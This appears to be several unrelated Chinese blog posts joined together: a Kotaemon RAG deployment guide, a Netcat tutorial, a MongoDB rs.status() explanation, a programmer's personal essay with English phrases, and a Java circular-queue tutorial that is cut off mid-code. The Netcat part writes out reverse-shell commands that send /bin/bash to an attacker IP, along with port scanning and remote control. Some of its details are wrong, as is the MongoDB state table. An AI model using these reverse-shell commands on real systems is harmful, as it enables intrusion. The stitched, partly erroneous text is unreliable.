2024年9月

1.
背景


qiang~
这两周关注到一个很火的开源文档问答系统
Kotaemon
,从
8

28
日至今短短两周时间,
github
星标迅猛增长
10K
,因此计划深挖一下其中的原理及奥秘。

本篇主要是
Kotaemon
的简介信息,涉及到主要特点,与传统文档
RAG
的区别,如何部署、以及效果演示

后续内容会针对核心模块进行拆解研读,敬请期待
~

2.
简介

Kotaemon
是一个
RAG UI
页面,主要面向
DocQA
的终端用户和构建自己
RAG pipeline
的开发者

2.1
终端用户

1)
提供了一个基于
RAG
问答的简单且最小化的
UI
界面

2)
支持诸多
LLM API
提供商
(

OpenAI, Cohere)
和本地部署的
LLM(

ollama

llama-cpp-python)

2.2
开发者

1)
提供了一个构建
RAG
文档问答
pipeline
的框架

2)
使用
Gradio
开发,基于提供的
UI
可以自定义并查看
RAG pipeline
的运行过程

3.
主要特点

1)
托管自己的
QA Web UI:
支持多用户登录,支持文件私有或公开,支持与他人协助分享

2)
管理
LLM

Embedding
模型
:
支持本地
LLM
和流行的
API
提供商

3)
混合
RAG pipeline:
支持全文本和向量的混合检索,以及
re-ranking
来保障检索质量

4)
支持多模态文档:支持对含有图片及表格的
N
多个文档进行问答,支持多模态文档解析

5)
带有高级引文的文档预览
:
系统默认提供具体的引用信息,保障
LLM
回答的准确性。直接在浏览器内的
PDF
查阅器查看引文,并高亮显示。

6)
支持复杂推理方法:使用问题分解来回答复杂
/
多跳问题。支持使用
ReAct

ReWoo
及其他
Agent
进行推理

7)
可调节的设置
UI
:调整检索和生成过程的参数信息,包括检索过程和推理过程设置

4.
与传统文档
RAG
的区别

(1)

web ui
界面直接
PDF
预览,并通过
LLM
的引用回调方法高亮有关联的句子,极大地有助于仔细检查
LLM
的上下文

(2)
支持复杂推理方法。目标是支持更多的基于
Agent
的推理框架,如问题拆解、多跳问题、
React

ReWoo

(3)
支持在页面配置中更改
prompt
,也可以调整想要使用的检索和推理模块

(4)
扩展性好,基于
gradio
开发,可轻松添加或删除
UI
组件来自定义
RAG pipeline

5.
安装部署

5.1
终端用户

-
可在
github

release
页面下载最新的
kotaemon-app.zip
,并解压缩

-
进入
scripts
,根据系统安装,如
windows
系统双击
run_windows.bat

linux
系统
bash run_linux.sh

-
安装后,程序要求启动
ketem

UI
,回答
”继续”

-
如果启动,会自动在浏览器中打开,默认账户名和密码是
admin/admin

5.2
开发者

5.2.1
使用
Docker
安装推荐

#
运行

docker run -e GRADIO_SERVER_NAME=0.0.0.0 -e GRADIO_SERVER_PORT=7860 -p 7860:7860 -it --rm ghcr.io/cinnamon/kotaemon:latest

#
访问
ui
地址:
http://localhost:7860/

5.2.2
源码安装

#
创建虚拟环境

conda create -n kotaemon python=3.10

conda activate kotaemon

#
下载源码

git clone https://github.com/Cinnamon/kotaemon

cd kotaemon

#
安装依赖

pip install -e "libs/kotaemon[all]"

pip install -e "libs/ktem"

#
更新环境变量文件
.env
,如
API key

# (
可选
)
如果想浏览器内部展示
PDF
,可以下载
PDF_JS viewer
,解压到
libs/ktem/ktem/assets/prebuilt
目录

#
开启
web
服务,并使用
admin/admin
登录

python app.py

5.2.3
应用定制

应用数据默认保存在
./ktem_app_data
文件,如果想要迁移到新机器,只需将该文件夹拷贝即可。

为了高级用户或特殊用途,可以自定义
.env

flowsetting.py
文件

(1)flowsetting.py
设置

#
设置文档存储引擎
(
该引擎支持全文检索
)

KH_DOCSTORE=(Elasticsearch | LanceDB | SimpleFileDocumentStore)

#
设置向量存储引擎
(
支持向量检索
)

KH_VECTORSTORE=(ChromaDB | LanceDB | InMemory)

#
是否启用多模态
QA

KH_REASONINGS_USE_MULTIMODAL=True

#
添加新的推理
pipeline
或修改已有的

KH_REASONINGS = [

"ktem.reasoning.simple.FullQAPipeline",

"ktem.reasoning.simple.FullDecomposeQAPipeline",

"ktem.reasoning.react.ReactAgentPipeline",

"ktem.reasoning.rewoo.RewooAgentPipeline",

]

)

(2).env
设置

该文件提供另一种方式来设置模型和凭据。

#
可以设置
OpenAI
的连接

OPENAI_API_BASE=https://api.openai.com/v1

OPENAI_API_KEY=<your OpenAI API key here>

OPENAI_CHAT_MODEL=gpt-3.5-turbo

OPENAI_EMBEDDINGS_MODEL=text-embedding-ada-002

5.2.4
设置本地
LLM

Embedding
模型

(1)
推荐
Ollama OpenAI
兼容的服务

#
安装
ollama
并启动程序,可参考
https://github.com/ollama/ollama

#
拉取模型

ollama pull llama3.1:8b

ollama pull nomic-embed-text

(2)

Resources
页面中的
LLMs

Embedding
分别设置
LLM

Embedding

api_key: ollama

base_url: http://localhost:11434/v1/

model:
llama3.1:8b
(for llm) | nomic-embed-text (for embedding)

(3)
使用本地模型用于
RAG

1)
将本地
LLM

Embedding
模型设置为
default

2)

File Collection
中的
Embedding
设置为本地模型
(
例如
: ollama

3)

Retrieval Setting
页面,选择本地模型作为
LLM
相关得分模型。如果你的机器无法同时处理大量的
LLM
并行请求,可以不选中

Use LLM relevant scoring

4)
现在就可以上传文件进行文档问答体验了。

6.
效果体验

眼过千遍,不如手过一遍
~


qiang~
采用源码安装部署,使用
openai

LLM
模型
gpt-4o-mini

Embedding
模型
text-embedding-3-small(
如何使用免费版本的
openai
进行
api
体验,可以私信联系
~)
。其次,使用
MindSearch
的论文进行测试验证。

6.1
构建文档索引信息

6.1.1
上传文档

6.1.2
使用
simple
推理策略

simple
推理策略对应的
flowsettings.py
中的
FullQAPipeline
。问题
:
“what are the components of MindSearch?”,效果如下:

6.1.3
使用
complex
推理策略

complex
推理策略对应的
flowsettings.py
中的
FullDecomposeQAPipeline
,即将复杂问题拆分为简单子问题。问题
:
“Please describe the performance of MindSearch on both open-source and closed-source datasets.?”

6.1.4
使用
react
推理策略

React
是一种
RAG Agent
技术,将用户的问题进行计划设计,并迭代循环执行,满足特定结束调节。
React
可以结合工具进行调用,如搜索引擎、
Wiki
百科等。问题:
”Tell me somethong about 'University of Science and Technology of China'”

6.1.5
使用
ReWoo
推理策略

ReWoo
也是一种
RAG Agent
技术,第一阶段制订分步计划,第二阶段解决每个分步,也可以使用工具帮助推理过程,完成所有阶段后,
ReWoo
将总结答案。问题:
”Tell me somethong about 'University of Science and Technology of China' and 'shanghai ai Laboratory '”

6.2
构建
GraphRAG
索引信息

Kotaemon
集成了微软此前开源的
GraphRAG
框架,该框架包含图谱及索引构建、图谱检索等步骤。问题
:

the author

s of this paper

7.
总结

一句话足矣
~

本文主要针对开源文档问答系统
Kotaemon
的介绍,包括主要功能特点,与传统文档
RAG
的区别,部署教程以及效果体验等。

目前
Kotaemon
针对中文语言支持不友好,但既然可以通过
ollama
进行部署
LLM

Embedding
模型,因此支持中文语言也是相对容易开发集成的。

后续系列会针对该框架中的检索和推理模块做一个详细的源码维度分析,敬请期待
~

如果针对部署过程中存在疑问或部署不成功,或者想免费获取使用
openai
的客官,可私信沟通。

如有问题或者想要合作的客官,可私信沟通。

8.
参考

(1)
Kotaemon
仓库
: https://github.com/Cinnamon/kotaemon

在网络安全领域,黑客工具一直备受关注。它们既可以被用于攻击,也可以用于防御。本文将为大家揭秘一款知名的黑客工具:
Netcat

1、Netcat是什么?

Netcat
被誉为“网络的瑞士军刀”,简称为
nc
,是一个功能丰富的网络工具。最早是一个简单的TCP/IP工具,用于在网络上传输数据。随着时间的推移,Netcat逐渐演化成一款功能强大的网络工具,支持多种网络协议,包括 TCP 和 UDP,能够在本地和远程计算机之间传输数据,实现网络连接、数据传输、端口扫描、反向Shell等多种功能。从本质上来说,它就像是一把瑞士军刀,能够在网络环境中执行各种复杂的任务。

2、Netcat主要功能特点

Netcat
被誉为网络安全领域的“瑞士军刀”,具有以下功能、特点:

1. 网络连接

Netcat
可以创建TCP或UDP连接,用于网络通信。无论是简单的聊天程序还是复杂的网络数据传输,Netcat都能轻松应对。通过简单的命令,用户可以在两台计算机之间建立连接,实现数据的实时传输。

2. 数据传输

Netcat
支持文件传输功能,用户可以通过Netcat在两台计算机之间传输文件。这一功能对于网络管理员和黑客来说非常有用,可以方便地在不同计算机之间共享文件。

3. 端口扫描

Netcat
还可以用于端口扫描,帮助用户发现目标计算机上开放的端口。通过扫描特定范围内的端口,用户可以了解目标计算机上运行的服务,进而进行安全评估或漏洞利用。

4. 反向Shell

在渗透测试中,Netcat常被用于创建反向Shell。通过反向连接,目标计算机主动连接到攻击者的计算机,绕过防火墙和NAT等限制,实现远程控制。这一功能对于黑客来说尤为重要,可以大大提高渗透测试的成功率。

5. 加密通信

虽然Netcat本身不提供加密功能,但用户可以通过结合其他工具(如OpenSSL)来实现加密通信。通过加密通信,用户可以保护传输数据的安全性,防止数据被截获或篡改。

3、Netcat适用场景

  • 网络安全测试、渗透测试
    : 在网络安全测试中,Netcat可以用于端口扫描、漏洞评估、渗透测试等多个环节。通过Netcat,测试人员可以全面了解目标系统的安全状况,发现潜在的安全隐患。
  • 系统管理
    : 对于系统管理员来说,Netcat是一款非常实用的工具。它可以用于远程管理计算机,执行shell命令、重启计算机等操作。此外,Netcat还可以用于监控网络流量、调试网络程序等。
  • 黑客攻击
    :虽然黑客攻击是非法行为,但了解黑客工具的使用方法和原理对于提高网络安全意识具有重要意义。Netcat作为黑客常用的工具之一,其强大的功能和灵活性使得它成为黑客攻击中的重要武器。然而,我们强调在合法和道德的前提下使用Netcat等黑客工具。

4、Netcat安装

在大多数
Linux
发行版中,
Netcat
通常已经预装。如果没有安装,可以通过包管理器进行安装。例如,在Debian/Ubuntu系统上,可以使用以下命令安装Netcat:

sudo apt-get update  
sudo apt-get install netcat


macOS
上,可以使用
Homebrew
进行安装:

brew install netcat

5、Netcat使用

Netcat
的基本语法如下:

nc [选项] [目标主机] [目标端口]

选项和参数可以根据具体操作进行调整。

示例一:创建TCP连接

Netcat能够创建任意类型的TCP或UDP连接。这意味着它可以被用来建立一个基本的聊天服务器,一个代理,甚至是一个自定义的协议模拟器。例如,通过使用简单的命令,用户就可以实现TCP端口的监听与数据传输:

1、步骤1:启动监听模式

在一台机器上,打开终端并执行以下命令来启动一个监听服务:

nc -l -p 12345

其中,-l 表示监听模式,-p 12345 指定监听端口为12345。

2、步骤2:连接到监听的主机

在另一台计算机上,使用以下命令连接到监听的主机(假设IP为192.168.1.100):

nc 192.168.1.100 12345

连接成功后,你可以在任一终端中输入文本,另一端会实时显示出来。

示例二:文件传输

Netcat
支持文件传输功能,基本用法:

(1)在发送端运行以下命令,发送文件:

nc -w 2 target_ip port < file.txt

(2)在接收端运行以下命令,接收文件:

nc -lvp port > file.txt

其中,-w参数表示超时时间,port表示端口号,file.txt为要传输的文件。

具体操作:

步骤1:发送文件

在作为监听方的计算机上,使用以下命令准备接收文件:

nc -l -p 12345 > received_file.txt

步骤2:发送文件

在另一台计算机上,使用以下命令发送文件:

nc 192.168.1.100 12345 < file_to_send.txt

其中,file_to_send.txt 是你要发送的文件名。在接收方终端,检查received_file.txt文件,确保文件传输成功。

示例三:端口扫描

端口扫描是网络安全测试的基础。Netcat可以快速扫描目标主机开放的端口,帮助用户发现潜在的安全隐患。以下是一个简单的端口扫描示例:

nc -zv target_ip 1-1000

该命令表示扫描目标IP地址的1-1000端口,-z参数表示仅扫描端口开放情况,不进行完整连接,-v参数表示显示详细信息。

使用以下命令扫描目标主机的端口(例如192.168.1.100):

nc -zv 192.168.1.100 1-1000

其中,-z 表示扫描模式,不发送数据;-v 显示详细信息。扫描结果将显示哪些端口是开放的。

示例四:创建反向Shell

例如,它可以通过以下命令非常简单地创建一个反向Shell:

nc -nv <攻击者IP> <攻击者端口> -e /bin/bash

这种反向Shell常被黑客用于在目标系统上执行任意命令。

步骤1:监听反向Shell

在攻击者的机器上,打开终端并输入:

nc -l -p 4444 -e /bin/bash

步骤2:连接反向Shell

在被攻击者的机器上,输入以下命令:

nc [攻击者IP] 4444 -e /bin/bash

一旦连接成功,攻击者将能够获得被攻击者机器的Shell访问权限。

示例五:远程控制

Netcat可以实现简单的远程控制功能。以下是一个示例:

1、在目标主机上运行以下命令,开启监听:

nc -lvp port

2、在攻击主机上运行以下命令,连接目标主机:

nc target_ip port

连接成功后,攻击主机可以发送命令,控制目标主机。

6、小结

Netcat
作为一款功能强大的网络工具,不仅在网络安全测试中扮演着重要角色,同时也需要被合理使用以防止恶意行为的发生。对于网络安全专业人员而言,深刻理解和掌握Netcat的使用方法,能够在攻防对抗中占据有利位置。

然而,值得强调的是,
Netcat
是一把双刃剑。尽管其强大和灵活,但同样可能被恶意利用。因此,对于网络安全专业人士来说,掌握Netcat的使用技巧既是确保网络安全的重要手段,也是提升自身技能的重要途径。

转载请注明出处:

rs.status()
命令用于获取MongoDB副本集的状态信息。它提供了关于副本集中各个节点的详细信息,包括节点的健康状况、角色、选举状态等。

以下是查看一个mongo集群状态返回的参数:

rs0:PRIMARY>rs.status()
{
"set" : "rs0","date" : ISODate("2024-09-14T06:44:36.882Z"),"myState" : 1,"term" : NumberLong(510),"syncingTo" : "","syncSourceHost" : "","syncSourceId" : -1,"heartbeatIntervalMillis" : NumberLong(2000),"majorityVoteCount" : 2,"writeMajorityCount" : 2,"optimes": {"lastCommittedOpTime": {"ts" : Timestamp(0, 0),"t" : NumberLong(-1)
},
"lastCommittedWallTime" : ISODate("1970-01-01T00:00:00Z"),"appliedOpTime": {"ts" : Timestamp(1726296270, 1),"t" : NumberLong(510)
},
"durableOpTime": {"ts" : Timestamp(1726296270, 1),"t" : NumberLong(510)
},
"lastAppliedWallTime" : ISODate("2024-09-14T06:44:30.859Z"),"lastDurableWallTime" : ISODate("2024-09-14T06:44:30.859Z")
},
"lastStableRecoveryTimestamp" : Timestamp(1725300368, 3),"lastStableCheckpointTimestamp" : Timestamp(1725300368, 3),"electionCandidateMetrics": {"lastElectionReason" : "electionTimeout","lastElectionDate" : ISODate("2024-09-14T06:28:20.630Z"),"electionTerm" : NumberLong(510),"lastCommittedOpTimeAtElection": {"ts" : Timestamp(0, 0),"t" : NumberLong(-1)
},
"lastSeenOpTimeAtElection": {"ts" : Timestamp(1726284227, 1),"t" : NumberLong(509)
},
"numVotesNeeded" : 2,"priorityAtElection" : 2,"electionTimeoutMillis" : NumberLong(10000),"numCatchUpOps" : NumberLong(0),"newTermStartDate" : ISODate("2024-09-14T06:28:20.830Z")
},
"members": [
{
"_id" : 0,"name" : "mongo1:27017","health" : 1,"state" : 9,"stateStr" : "ROLLBACK","uptime" : 987,"optime": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDurable": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDate" : ISODate("2024-09-13T03:11:05Z"),"optimeDurableDate" : ISODate("2024-09-13T03:11:05Z"),"lastHeartbeat" : ISODate("2024-09-14T06:44:35.841Z"),"lastHeartbeatRecv" : ISODate("2024-09-14T06:44:36.665Z"),"pingMs" : NumberLong(0),"lastHeartbeatMessage" : "","syncingTo" : "mongo2:27017","syncSourceHost" : "mongo2:27017","syncSourceId" : 1,"infoMessage" : "","configVersion" : 1950478},
{
"_id" : 1,"name" : "mongo2:27017","health" : 1,"state" : 1,"stateStr" : "PRIMARY","uptime" : 990,"optime": {"ts" : Timestamp(1726296270, 1),"t" : NumberLong(510)
},
"optimeDate" : ISODate("2024-09-14T06:44:30Z"),"syncingTo" : "","syncSourceHost" : "","syncSourceId" : -1,"infoMessage" : "","electionTime" : Timestamp(1726295300, 1),"electionDate" : ISODate("2024-09-14T06:28:20Z"),"configVersion" : 1950478,"self" : true,"lastHeartbeatMessage" : ""},
{
"_id" : 2,"name" : "mongo3:27017","health" : 1,"state" : 2,"stateStr" : "SECONDARY","uptime" : 987,"optime": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDurable": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDate" : ISODate("2024-09-13T03:11:05Z"),"optimeDurableDate" : ISODate("2024-09-13T03:11:05Z"),"lastHeartbeat" : ISODate("2024-09-14T06:44:34.930Z"),"lastHeartbeatRecv" : ISODate("1970-01-01T00:00:00Z"),"pingMs" : NumberLong(1),"lastHeartbeatMessage" : "","syncingTo" : "","syncSourceHost" : "","syncSourceId" : -1,"infoMessage" : "","configVersion" : 1829326}
],
"ok" : 1,"$clusterTime": {"clusterTime" : Timestamp(1726296270, 1),"signature": {"hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),"keyId" : NumberLong(0)
}
},
"operationTime" : Timestamp(1726296270, 1)
}
rs0:PRIMARY
>

以下是
rs.status()
响应字段的意义及其对应值的整理:

字段 意义 示例值
set 副本集的名称 "rs0"
date 响应生成的时间 ISODate("2024-09-14T06:44:36Z")
myState 当前节点的状态(1: PRIMARY, 2: SECONDARY, 3: RECOVERING等):

常见的状态包括:


  • PRIMARY (1): 当前节点是主节点,负责处理所有写入操作。
  • SECONDARY (2): 当前节点是从节点,复制主节点的数据并提供读取服务。
  • ARBITER (7): 当前节点是仲裁者,不存储数据,仅参与选举过程。
  • OTHER (8): 当前节点的状态不属于上述任何一种,通常是由于配置或网络问题。
  • RECOVERING (9): 当前节点正在恢复中,通常是从不健康状态恢复。
  • DOWN (10): 当前节点不可用,可能是由于网络问题或故障。
  • STARTUP (11): 当前节点正在启动,尚未完成初始化。
  • STARTUP2 (12): 当前节点在启动的第二阶段,正在进行数据同步。
  • UNKNOWN (13): 当前节点的状态未知,可能是由于网络分区或其他问题。
1
term 当前选举周期 510
lastElectionReason 最近一次选举的原因 "electionTimeout"
members 副本集成员的详细信息 数组,包含各个节点的信息
health 节点的健康状态(1: 健康, 0: 不健康) 1
stateStr 节点的状态描述(如 PRIMARY, SECONDARY, ROLLBACK等) "SECONDARY"
uptime 节点的运行时间(秒) 987
optime 最近一次操作的时间戳 Timestamp(1726197065, 1)
optimeDurable 最近一次持久化操作的时间戳 Timestamp(1726197065, 1)
optimeDate 最近一次操作的日期 ISODate("2024-09-13T03:11:05Z")
optimeDurableDate 最近一次持久化操作的日期 ISODate("2024-09-13T03:11:05Z")
lastHeartbeat 最近一次心跳信号的时间 ISODate("2024-09-14T06:44:34.930Z")
lastHeartbeatRecv 最近一次接收到心跳信号的时间 ISODate("1970-01-01T00:00:00Z")
pingMs 节点的延迟(毫秒) NumberLong(1)
lastHeartbeatMessage 最近一次心跳的消息 ""
syncingTo 当前节点正在同步的目标节点 ""
syncSourceHost 当前节点的同步源主机 ""
syncSourceId 当前节点的同步源ID -1
infoMessage 额外的信息消息 ""
configVersion 配置版本号 1829326
$clusterTime 集群时间信息 包含
clusterTime

signature
operationTime 最近一次操作的时间 Timestamp(1726296270, 1)

使用场景

  • 故障排查: 当副本集出现问题时,使用
    rs.status()
    可以快速定位故障节点。
  • 性能监控: 定期检查副本集状态,以确保所有节点正常运行并及时发现性能瓶颈。
  • 维护操作: 在进行维护或升级操作前,确认副本集的健康状况。
  • 选举监控: 监控选举过程,确保主节点的选举和切换正常进行。

世界那么大,我想去看看...

原文

不会打歌么学打歌阿哥怎摆你怎摆,大江大海江大海 ...

瞧,这个中年不油腻(不油腻的原因是大叔很穷)的大叔扛着音箱出场了,其实远没有这么拉风!

今年被动看到许多不好的消息和内容:充满了“失业”,“裁员”等。一度我已经更郁郁了。所以我今天不是来搞笑的。真心希望大家能越来越好,希望看到大家报喜的内容来抵消一下。

园子里tobin老兄说:

琢磨了几条路,不知道能不能走通: 回家继承家业 ** 小说里的情节,回家继承千万家产,过上富足的生活?现实是,家里唯一值钱的老母猪都卖了,子承父业怕是只能喝西北风。 合伙创业,攒个小公司接项目 ** 几个朋友联合起来,先有个能撑3-5个月的项目做,倒腾倒腾,未必不能成。说实话,有明确项目来源是关键,不然很容易陷入资金链困局。 技术变现 ** 把技术做成产品,比如中间件、报表系统或BI工具,卖版本赚钱? ——高手或许能成,但多数人缺少资源和市场,难度不小。 转行做实业,开店或做餐饮,什么商店,五金,酒店,饭店 ** 看起来容易,但每行都得交学费。如果有人带着,可能会少走些弯路。实业不是表面看着那么简单,稍有不慎,亏掉的可能是你所有的积蓄和时间。

大叔我其实也和大伙差不多,整理了一下自己的情况发现并不是有什么清新脱俗的地方。但是我已经45周岁也就是虚岁46了,这是千真万确的事。我搞过收银软件,供应链管理,MES,现在在实施ERP。我曾经也编码20多年。很多人说我很正力量,我身上的标签有:“自学成才”,“中专学历”,“非著名野生程序员”等。但我一直都在小公司里苟且偷生,出来没在开发人员超过20的公司工作过。我的工资最高是2016年的16000。这么多年也只能是勉强养家糊口。10年前我在博客园写了一篇文章:
五有老码农,程序人生回顾:心安也不是归处啊

。又过了10年,我感觉还是没有改变太多。
整理了一下自己的情况发现并不是有什么清新脱俗的地方。但是我已经45周岁也就是虚岁46了,这是千真万确的事。我搞过收银软件,供应链管理,MES,现在在实施ERP。我曾经也编码20多年。很多人说我很正力量,我身上的标签有:“自学成才”,“中专学历”,“非著名野生程序员”等。但我一直都在小公司里苟且偷生,出来没在开发人员超过20的公司工作过。我的工资最高是2016年的16000。这么多年也只能是勉强养家糊口。10年前我在博客园写了一篇文章:
五有老码农,程序人生回顾:心安也不是归处啊

在国外这一年多我还完了欠亲戚的十几万外账,这是目前最欣慰的结果。但是我已经几个月都没有在写代码了,刚开始公司想让我做全职开发,让我一个一个子系统的上线。所以我开发了POS系统,并成功通过(萨摩亚和斐济的税务平台TaxCore)的备案。但后来公司选择使用开源ERP----ODOO并在广州选择了实施和二次开发的软件公司,这样我的开发工作就终止了,现在在仓库工作,参与系统维护。

我写这篇文章的原因是在博客园看到一篇文章“
41岁的大龄程序员,苟着苟着,要为以后做打算了
”,若有所思,有一点感慨不吐不快。

我其实是想对各位大龄码农说:世界很大,不要把自己局限在中国,有条件出国来看看吧。我朋友圈里最光鲜的案例应该是杨中科老师,他去新西兰读了硕士,目前已经全家移民了,得到了新西兰的永居身份。后来进了新西兰一国家银行工作,一周可以三天在家远程工作,资本主义国家都信奉“工作只是生活的辅助”,真是羡煞旁人啊。

我最近在努力提高英语能力,虽然学了那么多年的英语,但我还是不能达到流利和老外交流的水平。我发现自己口齿不清,词汇量也达不到。随便说一句杨中科老师也开发了一个学英语的网站,也有微信小程序端,大家请搜索youzack。因为上面的很多资源我其实还听不懂,所以我目前还没有用他这个。我目前在用多邻国App,已经连续坚持了230天。目前只是觉得听力有进步。最近准备多看一些美剧,我收集了一些高频使用的口语,大家听过没有?

None of this...

音标:/nʌn ʌv ðɪs/

中文注释:这些都不(不适用、不成立等)

使用场景:你在讨论一个话题,觉得所说的内容都不相关时可以说。例如:“None of this is relevant to the main issue.”

There is no shame in...

音标:/ðɛr ɪz noʊ ʃeɪm ɪn/

中文注释:...没有什么可羞愧的

场景: 你看到一个朋友因为失业而感到羞愧,你想要安慰他。

你可以说:“There is no shame in losing your job. Many people go through it, and it's just a part of life. What’s important is how you move forward.”

You'd never guess who...

音标:/juːd ˈnɛvər ɡɛs huː/

中文注释:你永远猜不到是谁

使用场景:你要揭示一个令人惊讶的人物时可以使用。例如:“You’d never guess who showed up at the party.”

All the way across town...

音标:/ɔːl ðə weɪ əˈkrɔːs taʊn/

中文注释:整个城市的另一边

使用场景:当你谈论一个地点很远时可以使用。例如:“I had to drive all the way across town to get there.”

I am not cut out for...

音标:/aɪ æm nɒt kʌt aʊt fɔːr/

中文注释:我不适合

使用场景:你在表示自己不适合某项工作或任务时。例如:“I’m not cut out for this kind of high-pressure job.”

Mooching off of...

音标:/ˈmuːtʃɪŋ ɒf ʌv/

中文注释:依赖于(别人的钱或资源)

使用场景:当你觉得某人依赖别人而不自食其力时。例如:“He’s just mooching off of his parents.”

Wanna grab...

音标:/ˈwɑːnə ɡræb/

中文注释:想去拿(或去吃、喝)

使用场景:你提议去吃饭或喝东西时。例如:“Wanna grab a coffee later?”

Beat around the bush...

音标:/biːt əˈraʊnd ðə bʊʃ/

中文注释:拐弯抹角

使用场景:当你要说某人说话不直接时可以用。例如:“Stop beating around the bush and tell me what you really think.”

Why is this so...

音标:/waɪ ɪz ðɪs səʊ/

中文注释:为什么会这样

使用场景:你对某事的原因感到困惑时可以使用。例如:“Why is this so difficult to understand?”

Patch things up...

音标:/pætʃ θɪŋz ʌp/

中文注释:修补关系

使用场景:当你要修复破裂的关系或解决争端时。例如:“Let’s patch things up and move on.”

Take the word of...

音标:/teɪk ðə wɜːrd ʌv/

中文注释:相信某人的话

使用场景:当你决定相信某人所说的话时。例如:“I’ll take your word for it.”

I wouldn't even know...

音标:/aɪ ˈwʊdnt ˈiːvn noʊ/

中文注释:我甚至不知道

使用场景:当你对某事一无所知时可以使用。例如:“I wouldn’t even know how to start fixing that.”

I should probably...

音标:/aɪ ʃʊd ˈprɒbəbli/

中文注释:我可能应该

使用场景:当你考虑某个动作是对的时可以使用。例如:“I should probably call her and apologize.”

I bid you adieu...

音标:/aɪ bɪd juː əˈdjuː/

中文注释:我向你道别

使用场景:你在正式告别或结束交流时可以使用。例如:“I bid you adieu and wish you safe travels.”

Have a knack for...

音标:/hæv ə næk fɔːr/

中文注释:有天赋

使用场景:当你形容某人在某方面有特别的才能时可以使用。例如:“She has a knack for solving difficult problems.”

Wanna go grab...

音标:/ˈwɒnə ɡoʊ ɡræb/

中文注释:想去吃(或喝)

使用场景:当你想提议去外面吃东西时可以使用。例如:“Wanna go grab dinner after work?”

I could really go for...

音标:/aɪ kʊd ˈrɪəli ɡoʊ fɔːr/

中文注释:我真的很想要

使用场景:当你特别想要某样食物或饮品时可以使用。例如:“I could really go for a slice of pizza right now.”

what are you gonna...

音标: /wɑːt ɑːr juː ˈɡənə dʊ/ 或 /wɑːt ɑːr juː ˈɡənə seɪ/

中文注释: 你打算做什么?/你打算说什么?

使用场景: 你和朋友在商量周末的安排,你可以问:“What are you gonna do this weekend?” (你这个周末打算做什么?)

询问意图: 当对方做了一些让你困惑的事情时,你可能会问:“What are you gonna say about this?” (你对此打算说什么?)

你愿意和我一起提高自己的英语水平吗,记得我是你的伙伴哟!苦于想找人对练口语好久了,本来我用AI也就是chatGPT来练的,但是一般情况他都听不懂我说的,是的我口齿不清,我估计他会太无聊,于是就取消了。

队列
是咱们开发中经常使用到的一种数据结构,它与

的结构类似。然而栈是后进先出,而队列是先进先出,说的专业一点就是
FIFO
。在生活中到处都可以找到队列的,最常见的就是排队,吃饭排队,上地铁排队,其他就不过多举例了。

队列的模型

在数据结构中,和排队这种场景最像的就是
数组
了,所以我们的队列就用数组去实现。在排队的过程中,有两个基本动作就是
入队

出队
,入队就是从队尾插入一个元素,而出队就是从队头移除一个元素。基本的模型我们可以画一个简图:

看了上面的模型,我们很容易想到使用数组去实现队列,

  1. 先定义一个数组,并确定数组的长度,我们暂定数组长度是5,而上面图中的长度是一样的;
  2. 再定义两个数组下标,
    front

    tail
    ,front是队头的下标,每一次出队的操作,我们直接取front下标的元素就可以了。tail是队尾的下标,每一次入队的操作,我们直接给tail下标的位置插入元素就可以了。

我们看一下具体的过程,初始状态是一个空的队列,

队头下标和队尾下标都是指向数组中的第0个元素,现在我们插入第一个元素“a”,如图:

数组的第0个元素赋值“a”,tail的下标+1,由指向第0个元素变为指向第1个元素。这些变化我们都要记住啊,后续在编程实现的过程中,每一个细节都不能忽略。然后我们再做一次出队操作:

第0个元素“a”在数组中移除了,并且front下标+1,指向第1个元素。

这些看起来不难实现啊,不就是给数组元素赋值,然后下标+1吗?但是我们想一想极端的情况, 我们给数组的最后一个元素赋值后,数组的下标怎么办?

tail如果再+1,就超越了数组的长度了呀,这是明显的
越界
了。同样front如果取了数组中的最后一个元素,再+1,也会越界。这怎么办呢?

循环数组

我们最开始想到的方法,就是当tail下标到达数组的最后一个元素的时候,对数组进行扩容,数组的长度又5变为10。这种方法可行吗?如果一直做入队操作,那么数组会无限的扩容下去,占满磁盘空间,这是我们不想看到的。

另外一个方法,当front或tail指向数组最后一个元素时,再进行+1操作,我们将下标指向队列的开头,也就是第0个元素,形成一个循环,这就叫做
循环数组
。那么这里又引申出一个问题,我们的下标怎么计算呢?

  1. 数组的长度是5;
  2. tail当前的下标是4,也就是数组的最后一个元素;
  3. 我们给最后一个元素赋值后,tail怎么由数组的最后一个下标4,变为数组的第一个下标0?

这里我们可以使用
取模
来解决:
tail = (tail + 1) % mod
,模(mod)就是我们的数组长度5,我们可以试一下,tail当前值是4,套入公式计算得到0,符合我们的需求。我们再看看其他的情况符不符合,假设tail当前值是1,套入公式计算得出2,也相当于是+1操作,没有问题的。只有当tail+1=5时,才会变为0,这是符合我们的条件的。那么我们实现队列的方法就选用循环数组,而且数组下标的计算方法也解决了。

队列的空与满

队列的空与满对入队和出队的操作是有影响的,当队列是满的状态时,我们不能进行入队操作,要等到队列中有空余位置才可以入队。同样当队列时空状态时,我们不能进行出队操作,因为此时队列中没有元素,要等到队列中有元素时,才能进行出队操作。那么我们怎么判断队列的空与满呢?

我们先看看队列空与满时的状态:

空时的状态就是队列的初始状态,front和tail的值是相等的。

满时的状态也是front == tail,我们得到的结论是,front == tail时,队列不是空就是满,那么到底是空还是满呢?这里我们要看看是什么操作导致的front == tail,如果是入队导致的front == tail,那么就是满;如果是出队导致的front == tail,那就是空。

手撸代码

好了,队列的模型以及基本的问题都解决了,我们就可以手撸代码了,我先把代码贴出来,然后再给大家讲解。

public class MyQueue<T> {

    //循环数组
    private T[] data;
    //数组长度
    private int size;
    //出队下标
    private int front =0;
    //入队下标
    private int tail = 0;
    //导致front==tail的原因,0:出队;1:入队
    private int flag = 0;

    //构造方法,定义队列的长度
    public MyQueue(int size) {
        this.size = size;
        data = (T[])new Object[size];
    }
    
    /**
     * 判断对队列是否满
     * @return
     */
    public boolean isFull() {
        return front == tail && flag == 1;
    }

    /**
     * 判断队列是否空
     * @return
     */
    public boolean isEmpty() {
        return front == tail && flag == 0;
    }

    /**
     * 入队操作
     * @param e
     * @return
     */
    public boolean add(T e) {
